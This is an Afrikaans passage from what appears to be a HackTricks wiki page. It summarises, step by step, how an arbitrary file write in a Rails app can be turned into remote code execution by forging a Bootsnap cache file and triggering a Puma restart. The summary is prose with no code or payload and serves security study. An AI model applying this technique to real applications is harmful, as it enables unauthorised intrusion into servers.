Check vir meer besonderhede in die [**oorspronklike pos**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||
|
||
### Bootstrap Caching
|
||
|
||
Nie regtig 'n deserialisering kwesbaarheid nie, maar 'n lekker truuk om bootstrap caching te misbruik om RCE uit 'n rails-toepassing te verkry met 'n arbitrêre lêer skryf (vind die volledige [oorspronklike pos hier](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
||
|
||
Hieronder is 'n kort opsomming van die stappe wat in die artikel uiteengesit word om 'n arbitrêre lêer skryf kwesbaarheid te benut deur Bootsnap caching te misbruik:
|
||
|
||
- Identifiseer die Kwesbaarheid en Omgewing
|
||
|
||
Die Rails-app se lêer oplaai funksionaliteit laat 'n aanvaller toe om lêers arbitrêr te skryf. Alhoewel die app met beperkings loop (slegs sekere gidsen soos tmp is skryfbaar weens Docker se nie-root gebruiker), laat dit steeds skryf na die Bootsnap cache gids (tipies onder tmp/cache/bootsnap).
|
||
|
||
- Verstaan Bootsnap se Cache Meganisme
|
||
|
||
Bootsnap versnel Rails opstart tye deur gecompileerde Ruby kode, YAML, en JSON lêers te cache. Dit stoor cache lêers wat 'n cache sleutel kopstuk insluit (met velde soos Ruby weergawe, lêergrootte, mtime, compile opsies, ens.) gevolg deur die gecompileerde kode. Hierdie kopstuk word gebruik om die cache tydens app opstart te valideer.
|
||
|
||
- Verskaf Lêer Metadata
|
||
|
||
Die aanvaller kies eers 'n teikenlêer wat waarskynlik tydens Rails opstart gelaai word (byvoorbeeld, set.rb van Ruby se standaard biblioteek). Deur Ruby kode binne die houer uit te voer, onttrek hulle kritieke metadata (soos RUBY_VERSION, RUBY_REVISION, grootte, mtime, en compile_option). Hierdie data is noodsaaklik om 'n geldige cache sleutel te skep.
|
||
|
||
- Bereken die Cache Lêer Pad
|
||
|
||
Deur Bootsnap se FNV-1a 64-bit hash meganisme te repliseer, word die korrekte cache lêer pad bepaal. Hierdie stap verseker dat die kwaadwillige cache lêer presies geplaas word waar Bootsnap dit verwag (bv. onder tmp/cache/bootsnap/compile-cache-iseq/).
|
||
|
||
- Skep die Kwaadwillige Cache Lêer
|
||
|
||
Die aanvaller berei 'n payload voor wat:
|
||
|
||
- Arbitrêre opdragte uitvoer (byvoorbeeld, id uitvoer om prosesinligting te wys).
|
||
- Verwyder die kwaadwillige cache na uitvoering om herhalende uitbuiting te voorkom.
|
||
- Laai die oorspronklike lêer (bv. set.rb) om te verhoed dat die toepassing ineenstort.
|
||
|
||
Hierdie payload word in binêre Ruby kode gecompileer en saamgevoeg met 'n sorgvuldig saamgestelde cache sleutel kopstuk (met behulp van die voorheen versamelde metadata en die korrekte weergawe nommer vir Bootsnap).
|
||
|
||
- Oorskry en Trigger Uitvoering
|
||
Met behulp van die arbitrêre lêer skryf kwesbaarheid, skryf die aanvaller die saamgestelde cache lêer na die berekende ligging. Volgende, trigger hulle 'n bediener herstart (deur na tmp/restart.txt te skryf, wat deur Puma gemonitor word). Tydens herstart, wanneer Rails die geteikende lêer benodig, word die kwaadwillige cache lêer gelaai, wat lei tot afstandlike kode uitvoering (RCE).
|
||
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|